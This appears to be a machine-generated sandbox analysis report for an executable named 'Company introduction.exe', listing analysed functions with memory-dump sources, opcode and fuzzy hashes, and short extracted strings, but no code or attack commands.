Instruction Fuzzy Hash: 69411DB0D1524A8FCB04CFE6C5416AEFBF5AF8A200F14946AD115AB254D3389B458F95

Function 07AE4710 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

i#)6, xrefs: 07AE47A1

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: i#)6
API String ID: 0-3600651614
Opcode ID: f9fdef31568bf42ca91588c7f78bcac2f4260bd982fd68c2c87bfca9d84da068
Instruction ID: bf31d89a13908c1584d2ba3fa7bd0c0af0cd0ea98af89aee62e9a99eb372381e
Opcode Fuzzy Hash: f9fdef31568bf42ca91588c7f78bcac2f4260bd982fd68c2c87bfca9d84da068
Instruction Fuzzy Hash: 8A410CB0E1520ADBCB44DFE6C5416AEFBF9EF8A300F10D42AD125AB254D33897458F95

Function 07AEDB68 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1481d92f165d61ba4d3f2cb7c25a3308d86a4b60abe4370e16666cb74e755a2d
Instruction ID: e67943f62466cc9b062f6c39eafc823d0dd8817d214e469c044fd50f876f7509
Opcode Fuzzy Hash: 1481d92f165d61ba4d3f2cb7c25a3308d86a4b60abe4370e16666cb74e755a2d
Instruction Fuzzy Hash: ABE1F7B4E001198FCB14CFA9D5809AEBBF6FF89304F248169E414AB356D735AD81CFA0

Function 07AED73A Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71fb0371c599ab632070b489fa3d02eca79ee00db73bf296cb06b13df31c0c29
Instruction ID: 67625dc254f8b4e183b36f11a590d1ff068f8f99decb16b35b310b77debf966f
Opcode Fuzzy Hash: 71fb0371c599ab632070b489fa3d02eca79ee00db73bf296cb06b13df31c0c29
Instruction Fuzzy Hash: 82E1E6B4E001198FCB14DFA9D5809AEFBB6FF89305F249169E424AB356D734AD81CF60

Function 07AEDFB0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e11be5ff252f6610491d70edfb1bda7c834e062050c1828721290db5b2d19fe
Instruction ID: ddd3d772d647e60b1c2d4917c39b4813f75d77064ff5b03489c4b21221139c2b
Opcode Fuzzy Hash: 1e11be5ff252f6610491d70edfb1bda7c834e062050c1828721290db5b2d19fe
Instruction Fuzzy Hash: 2FE1F5B4E0421A8FDB14CFA9D5809AEBBF6FF89304F249169D414AB356D734AD81CF60

Function 07E90040 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4876339e3ba0d4d68ec4cd00803e54cfd4453f0c8806d2bbde85ca48c25a9464
Instruction ID: f497993b203af5c0f111c8313bd041db1ccceccfd4dd842db023f8f07e2d4560
Opcode Fuzzy Hash: 4876339e3ba0d4d68ec4cd00803e54cfd4453f0c8806d2bbde85ca48c25a9464
Instruction Fuzzy Hash: ACE1D8B5E0121ACFCB14CFA9D5809AEBBF2FF89304F249169D414AB356D734A981CF61

Function 07AE3808 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2164df82cccbf4469e6439c7c5a3b1eb957953f30f45f8c46acbe7ab9e0d4f9
Instruction ID: a196b2e568078d91a3c23072da397e2cab8daf05c390b1be2ae6243f4babcec8
Opcode Fuzzy Hash: e2164df82cccbf4469e6439c7c5a3b1eb957953f30f45f8c46acbe7ab9e0d4f9
Instruction Fuzzy Hash: 0761F5B4E152099FCF08CFA9C5809EEFBF6EF89210F24946AD415FB264D7349A41CB64

Function 07AE3818 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43f7e84e1dafeccc8ca946351f5289919c531ea1c761b5bd5c293b89999b2ce
Instruction ID: 58994a991cafd5ad8375e79518cb15ec2c5026d11ab0cd22f674ffe1b2b323b2
Opcode Fuzzy Hash: d43f7e84e1dafeccc8ca946351f5289919c531ea1c761b5bd5c293b89999b2ce
Instruction Fuzzy Hash: 3271D2B4E152099FCF08CFA9C5809EEFBF6FF89210F24942AD415BB264D7349A418B64

Function 07AE4EA0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311106c27bae66e07889ba268cd454baa763fa32dd840b6ccbd57bb36825e04d
Instruction ID: f3fd489e1f337a0ca73b75994be699b30a6e0cb9f77a965af993647ca385e631
Opcode Fuzzy Hash: 311106c27bae66e07889ba268cd454baa763fa32dd840b6ccbd57bb36825e04d
Instruction Fuzzy Hash: 8E514AB1D1525ACFCF04CFA6D4401EEFBBAAF8E601F14946AE425B7214D3389606CF55

Function 07AE4EB0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5889d2a4bf357daf4cb1bf3be25673e3401e079fad38e172e45c33db298825
Instruction ID: 9183b5f3d7739f833493e37ef14a649ca067ada960dc8c0db3a600b091f2f48f
Opcode Fuzzy Hash: 0b5889d2a4bf357daf4cb1bf3be25673e3401e079fad38e172e45c33db298825
Instruction Fuzzy Hash: 765107B5D15219CFCF04CFA6E4405EEFBFAEB8D601F10942AE425B6214D3789A058F69

Function 07AE35E8 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eeaa5d3aa08ff6290560336525408de59bd271412f416795a6e7a2a307f7bc8
Instruction ID: d45f26e7619a30bb2d0f492b5d77c16f67eea88120567a81e8838dcb13313c7c
Opcode Fuzzy Hash: 7eeaa5d3aa08ff6290560336525408de59bd271412f416795a6e7a2a307f7bc8
Instruction Fuzzy Hash: 1F4108B0D1560A9FCF44CFAAC5816AEFBF2BF89300F24D06AC425AB254E7359A41CF55

Function 07AE21C2 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab5ce18f1dc7c1c51b1aa6287895f329b10d45e4e008cdda3ffc1bc6136b9b4b
Instruction ID: c1f40b92a1f9fbe5c026bf424b64839034c70f96099e387bd2ee6651200e301c
Opcode Fuzzy Hash: ab5ce18f1dc7c1c51b1aa6287895f329b10d45e4e008cdda3ffc1bc6136b9b4b
Instruction Fuzzy Hash: 52417CB0E1160ADFCB04CFA9C581AAEFBBAFF85300F24D595C425A7255E7349A81CB91

Function 07AE35F8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7efc64c05895ecadf82cdaae0d522ea958a287632d6844cd87d71837b1e0127f
Instruction ID: 87fd2bfc983b7898279d9b25b196a4c175f8818fdb5b10cca6ba2e934c5ce278
Opcode Fuzzy Hash: 7efc64c05895ecadf82cdaae0d522ea958a287632d6844cd87d71837b1e0127f
Instruction Fuzzy Hash: D94108B0D1160A9BCF44CFAAC5815AEFBF6BB89300F20D06AC425BB354E7359A41CF95

Analysis Process: Company introduction.exePID: 7812, Parent PID: 7452COMMON

Execution Graph

Execution Coverage:	14.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	85.7%
Total number of Nodes:	7
Total number of Limit Nodes:	1

Executed Functions

Function 017D6FC8 Relevance: 6.7, Strings: 5, Instructions: 493
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 017D7220
(o^q, xrefs: 017D753D
(o^q, xrefs: 017D7212
,bq, xrefs: 017D728A
,bq, xrefs: 017D7298

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 524545fdd08b3fa7068de3fb23205228b2af7d69711d06c39219fe4013a7fbe0
Instruction ID: 5fb886143d32d5297ccd50ed662be5c88a4efcca5dc913a5f4c2cfd9ce170911
Opcode Fuzzy Hash: 524545fdd08b3fa7068de3fb23205228b2af7d69711d06c39219fe4013a7fbe0
Instruction Fuzzy Hash: 4E125F30A00259DFDB19CF69C884AAEFBF2BF48358F658469E905AB361D731DC41CB51

Function 017D9DE0 Relevance: 6.1, Strings: 4, Instructions: 1137COMMON

Download Yara Rule

Strings

4'^q, xrefs: 017DAB13
4'^q, xrefs: 017D9E04
(o^q, xrefs: 017DA518
4'^q, xrefs: 017D9F0C

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: 76d0c89124112eaeec74bd465b876a5116c37c2bbc43889d8d46b97df1b09ee3
Instruction ID: f66ffc577e5f080b3570aa212c0d90470d0dde2c502e990ce9331d3a8dc9f7b5
Opcode Fuzzy Hash: 76d0c89124112eaeec74bd465b876a5116c37c2bbc43889d8d46b97df1b09ee3
Instruction Fuzzy Hash: 2CA27D31A00209CFCB15CF68C984AAEFBB2FF88314F1985A9E505DB2A6D735ED41CB51

Function 05A89548 Relevance: 3.4, APIs: 2, Instructions: 357
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05A895E0

Memory Dump Source

Source File: 00000006.00000002.2955296568.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5a80000_Company introduction.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0516938894b95ea053629be444366e1b66304cda05c7eb921a75e86980c4d003
Instruction ID: 9edd3e503f1a7c34facf3e4a31950f5eee73243b43b0e348a680861b22efe886
Opcode Fuzzy Hash: 0516938894b95ea053629be444366e1b66304cda05c7eb921a75e86980c4d003
Instruction Fuzzy Hash: 41F1D574E01218DFDB14DFA9D884BAEBBB2BF88304F14C1A9E408AB355DB759985CF50

Function 017D69A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

Hbq, xrefs: 017D6DA6
(o^q, xrefs: 017D6EDA

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: c026ba43334fa46191fca1f10a2aab7fc7ce9c62075e92511d6cec0ddd556ca3
Instruction ID: 2c31312567d7d3691a310d11baaa8d54c099e566f191c471ba1272b571543f76
Opcode Fuzzy Hash: c026ba43334fa46191fca1f10a2aab7fc7ce9c62075e92511d6cec0ddd556ca3
Instruction Fuzzy Hash: 4F128E70A0021D8FDB19DF69C854AAEBBF6FF88304F148569E545EB395DB309D82CB90

Function 017D3B85 Relevance: 2.8, Strings: 2, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 017D3CCD
Xbq, xrefs: 017D3CF6

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: 1cb13bdcf6a3c4ae84a5d19d4006d833f32f81c18e61a995807f8febcc70cd54
Instruction ID: 73ffd8c1d62db7b3392dee4eccdf47c4267aef764d5c50c38f47e5dfd5a73d58
Opcode Fuzzy Hash: 1cb13bdcf6a3c4ae84a5d19d4006d833f32f81c18e61a995807f8febcc70cd54
Instruction Fuzzy Hash: A3814AEA605E9F47CF07863AA84C635FBF97B42160B84446AC44EDB2CBC925C843D753

Function 017D29EC Relevance: 2.8, Strings: 2, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 017D2AD8
Xbq, xrefs: 017D2A9E

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: 032aac4e5e48cd46215e2aa0bf2d74c6bd243bf618c911b1a27c7cbc98fe8c50
Instruction ID: 9dcb8a70f98c3b668414657ff202e311bbf9617e1e59d596dbb4663950db7a87
Opcode Fuzzy Hash: 032aac4e5e48cd46215e2aa0bf2d74c6bd243bf618c911b1a27c7cbc98fe8c50
Instruction Fuzzy Hash: CC81ADEC548E8F8ACF438E38849D1B9FFFA7B42130B16819AD9549B11FD5298607C763

Function 017DC146 Relevance: 2.7, Strings: 2, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017DC400
PH^q, xrefs: 017DC3EF

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 541fad26ebd33ca8e030f52c46f2d44e8b676bdab307563a03c3d3f57ee675a3
Instruction ID: 701360afaf762144f40c99cf3649ec6575bffec01875bd3ced20a61a306e3417
Opcode Fuzzy Hash: 541fad26ebd33ca8e030f52c46f2d44e8b676bdab307563a03c3d3f57ee675a3
Instruction Fuzzy Hash: 1EA1D774E00218CFDB15CFAAD984A9DFBF2BF89310F1480A9E419AB365DB319945CF51

Function 017D5362 Relevance: 2.7, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017D55D9
PH^q, xrefs: 017D55C8

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 021143614e930704b9e2716cfbb44b31b2b4b806189e17d4a19c00a210269572
Instruction ID: 1ae8b5170247dc2a141cfbb3abca98d4efa29bc892e7b19bdc9778b0d51a972a
Opcode Fuzzy Hash: 021143614e930704b9e2716cfbb44b31b2b4b806189e17d4a19c00a210269572
Instruction Fuzzy Hash: 0591C574E00258CFDB19CFA9D984A9DFBF2BF89300F1480A9E419AB365DB349985CF51

Function 017DC468 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017DC6D0
PH^q, xrefs: 017DC6BF

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 3eba40fecbad92f7be9de301b23483e2da3e555c7a6f45b1b2c28cb80b534ff2
Instruction ID: 4d1381e469fba45a0d6e9a075c7c8186984bf23733fc0e7bc57475ff0bab2d60
Opcode Fuzzy Hash: 3eba40fecbad92f7be9de301b23483e2da3e555c7a6f45b1b2c28cb80b534ff2
Instruction Fuzzy Hash: 3481C474E00218CFDB19DFAAD984A9DFBF2BF89300F149069E419AB365DB309985CF51

Function 017DD278 Relevance: 2.7, Strings: 2, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017DD4E0
PH^q, xrefs: 017DD4CF

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 8061feecf956320baed7264183743a359afb47274b7d26a92e2a7eabc6b77977
Instruction ID: 9d7a437ae5ed7d9d8149126b496c2d660fac3c61e57b66d32e57ad4f87a19749
Opcode Fuzzy Hash: 8061feecf956320baed7264183743a359afb47274b7d26a92e2a7eabc6b77977
Instruction Fuzzy Hash: 1281B674E00258CFDB18DFAAD984A9DFBF2BF89300F148069E859AB365DB345985CF50

Function 017DCA08 Relevance: 2.7, Strings: 2, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017DCC5F
PH^q, xrefs: 017DCC70

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: c5f4a1e8e4f38c274ec12857d03db5c37621d1f3fc26fd7e9176bb556c54e853
Instruction ID: 8c694ab8da3166d1b6f2f64d8956f291c631732bced582c60975f00aae3243d5
Opcode Fuzzy Hash: c5f4a1e8e4f38c274ec12857d03db5c37621d1f3fc26fd7e9176bb556c54e853
Instruction Fuzzy Hash: B681A274E00218CFDB19DFAAD984A9DFBF2BF89300F148069E419AB365DB309985CF51

Function 017DCCD8 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017DCF40
PH^q, xrefs: 017DCF2F

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 00977e2f1461b20ce3addac914b186b29e1cf83b1c32061469ba95f8ab475c6b
Instruction ID: b0952788619b8bc846596f7c49f7447664d837e9e56b0370d77c25cf1fa55824
Opcode Fuzzy Hash: 00977e2f1461b20ce3addac914b186b29e1cf83b1c32061469ba95f8ab475c6b
Instruction Fuzzy Hash: D681A374E002588FDB19DFAAD984A9DFBF2BF89300F14C0A9E419AB365DB305985CF51

Function 017DCFAA Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 017DD1FF
PH^q, xrefs: 017DD210

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: daa01eee2a3d3e077a90a90b0f9dc9986560b0f5baf5cff2a0fb94a9ee98b143
Instruction ID: ec2ea406ada9abba18f1b50bf1ac5b1bdac1c1b1b3fc51fd28943036db23e6cd
Opcode Fuzzy Hash: daa01eee2a3d3e077a90a90b0f9dc9986560b0f5baf5cff2a0fb94a9ee98b143
Instruction Fuzzy Hash: BD81B374E00218CFDB18DFAAD984A9DFBF2BF89310F148069E419AB365DB359985CF10

Function 017DC738 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 017DC9A0
PH^q, xrefs: 017DC98F

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: a1075035ddbf2eb157a97e3a51d978ee2890761ebbc908fbe257280b3e121261
Instruction ID: 460b7ea2e067a557e4cffb0b6b6d1c18ef9e20c2fd7e97d45def26c50407e5f7
Opcode Fuzzy Hash: a1075035ddbf2eb157a97e3a51d978ee2890761ebbc908fbe257280b3e121261
Instruction Fuzzy Hash: 8981A474E00218CFDB19DFAAD984A9DFBF2BF89310F148069E419AB365DB345985CF50

Function 05A89328 Relevance: 1.8, APIs: 1, Instructions: 262libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05A895E0

Memory Dump Source

Source File: 00000006.00000002.2955296568.0000000005A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5a80000_Company introduction.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3da511391edbf7254aa3544e6e247139de815cd37af9403d803ca0e80e3b2ba0
Instruction ID: 60f24393bdfc42b6914012da11c81756073671f6f5baffeb6ff640fd81519af7
Opcode Fuzzy Hash: 3da511391edbf7254aa3544e6e247139de815cd37af9403d803ca0e80e3b2ba0
Instruction Fuzzy Hash: 2191CF71E002198FCB19EFBAC954ABEBAF3BF88310F148569D416A7394DB349D05CB91

Function 017DE97A Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c264ab2a85384b832688a7b1e6dcabb31ffae46d962f8702ee25a8960198023
Instruction ID: 1276f4cd5408d808af22cd49d844899ba22c84bbbc4a4b2a4c2ee60d01948351
Opcode Fuzzy Hash: 0c264ab2a85384b832688a7b1e6dcabb31ffae46d962f8702ee25a8960198023
Instruction Fuzzy Hash: E151D574E00208DFDB19DFAAD584A9DFBB2FF89300F248069E815AB364DB315946CF11

Function 017DE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a57b692daf8e8f9989abc0977ac65efd9ae6ae131f1514c70cbb54db7be6b076
Instruction ID: 9cd3a30a440af262edd223d4d921203624ac63e4cad0aee1957d30a47769fbe9
Opcode Fuzzy Hash: a57b692daf8e8f9989abc0977ac65efd9ae6ae131f1514c70cbb54db7be6b076
Instruction Fuzzy Hash: 26519274E00208DFDB19DFAAD584A9DFBB2BF88300F248529E819AB364DB359945CF51

Function 017D76F1 Relevance: 10.5, Strings: 8, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 017D7B90
(o^q, xrefs: 017D7815
(o^q, xrefs: 017D7C0F
(o^q, xrefs: 017D772E
,bq, xrefs: 017D7BA0
(o^q, xrefs: 017D78B2
(o^q, xrefs: 017D7BFF
(o^q, xrefs: 017D77E9

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 7339e004a5d9811a42389c1869d6f76adebb22040c4309f10e37e7e5c17d7588
Instruction ID: 7f7cc3da098a527b57715d636066ff3db0e01b6aec7a3729ed346d750d7bb7f9
Opcode Fuzzy Hash: 7339e004a5d9811a42389c1869d6f76adebb22040c4309f10e37e7e5c17d7588
Instruction Fuzzy Hash: 8D124930A002498FCB19CF68D984AAEFBF2FF89318F1585A9E5599B361D730ED45CB50

Function 017D8490 Relevance: 3.2, Strings: 2, Instructions: 703
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 017D8FD7
$^q, xrefs: 017D8FB4

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: f833e799b9468276ea8b4dc0f1d6fc7b74ba773b0152c4e9d1f73f3463e446c1
Instruction ID: a1d15fa3694deeb9ba202b6bfb0ec008cfbceb3383fe8048c7869559928d872f
Opcode Fuzzy Hash: f833e799b9468276ea8b4dc0f1d6fc7b74ba773b0152c4e9d1f73f3463e446c1
Instruction Fuzzy Hash: 40520E74A0021DCFEB149BA4C860BAEBB77FB94300F1481A9D11A6B3A5CF359D85DF52

Function 017D5F38 Relevance: 2.8, Strings: 2, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 017D6056
Hbq, xrefs: 017D6023

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 7f3f25ecdab8f1999d6da9bb7ac328577aa6f4b08709a877950233a3e1a9ee8a
Instruction ID: 46b0cb078ba0d1c5cf2f0ae7e3d762f38c3e8a55a34334b10e93f91e24e63bf7
Opcode Fuzzy Hash: 7f3f25ecdab8f1999d6da9bb7ac328577aa6f4b08709a877950233a3e1a9ee8a
Instruction Fuzzy Hash: 85B1AE30704219CFDB169F38C854B6ABBB6AF89344F1489A9E946CB392DB35DC42C791

Function 017D6498 Relevance: 2.7, Strings: 2, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 017D656E
,bq, xrefs: 017D6578

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

